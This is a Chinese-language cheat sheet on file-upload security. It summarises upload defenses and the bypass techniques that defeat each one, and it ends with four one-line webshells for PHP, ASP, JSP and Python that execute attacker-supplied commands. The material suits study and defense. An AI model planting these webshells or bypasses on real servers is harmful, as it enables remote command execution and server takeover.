一、文件上传防御手段及绕过手段总结
文件上传是Web安全中的一个重要话题,正确处理文件上传能够防止攻击者上传恶意文件,进而对系统造成危害。以下是文件上传的防御手段及绕过手段的总结:
1、防御手段
1. 文件类型验证:
内容类型验证:通过检查文件的MIME类型来确认文件类型。
扩展名验证:只允许特定的文件扩展名上传(如`.jpg`, `.png`, `.pdf`等)。
文件头验证:分析文件头信息,确认文件的实际类型与声明类型是否一致。
2. 文件大小限制:
设置文件上传的大小限制,避免攻击者上传超大文件导致服务器资源耗尽。
3. 文件名处理:
重新命名上传的文件,防止文件名中的特殊字符或路径注入。
删除文件名中的特殊字符(如`..`, `/`, `\`, `%00`等),防止目录遍历攻击。
4. 存储位置隔离:
将上传的文件存储在应用程序目录之外,避免直接访问。
使用随机生成的文件名和文件夹名,防止猜测攻击。
5. 严格的权限控制:
限制上传文件的执行权限,不允许上传的文件在服务器上执行。
设置文件的权限为只读,防止篡改。
6. 病毒扫描:
上传文件后,通过集成的病毒扫描引擎检测文件是否包含恶意代码。
7. 白名单机制:
仅允许特定类型的文件上传,拒绝所有未在白名单中的文件类型。
8. 使用CDN或第三方存储:
上传的文件可以直接存储在CDN或第三方存储服务上,这样可以避免Web服务器直接暴露。
9. 动态检测与拦截:
实时检测上传文件的行为或特征,识别潜在的威胁并阻止。
2、绕过手段
1. 内容类型伪造:
攻击者可以通过修改HTTP请求中的Content-Type头部来伪造文件的MIME类型,绕过类型验证。
2. 双扩展名:
使用双扩展名如`file.php.jpg`,有些系统只会检查最后一个扩展名,导致绕过检测。
3. 文件头伪造:
攻击者可以手动修改文件头信息,使文件看起来是合法类型。
4. 文件大小绕过:
上传多个小文件代替一个大文件,或通过分块上传来绕过文件大小限制。
5. 隐藏文件扩展名:
使用特殊字符(如空格、点号)在文件名中隐藏扩展名,或者利用一些系统对文件扩展名的错误处理绕过验证。
6. 使用未列入黑名单的文件类型:
上传一种不常见或误判为安全的文件类型,并通过其他手段利用它。
7. 利用服务端解析漏洞:
在特定环境下,服务端可能错误解析文件类型或扩展名,导致攻击文件被执行。
8. 绕过文件名处理:
使用编码绕过文件名的特殊字符检查,如`%2e%2e/`绕过`../`检查。
9. 利用第三方服务漏洞:
在文件上传完成后,利用CDN或第三方存储服务的漏洞进行文件替换或恶意利用。
二、文件上传常用一句话木马
1. PHP 一句话木马
<?php @eval($_POST['cmd']); ?>
2. ASP 一句话木马
<%eval request("cmd")%>
3. JSP 一句话木马
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
4. Python 一句话木马
import os; os.system(input("cmd: "))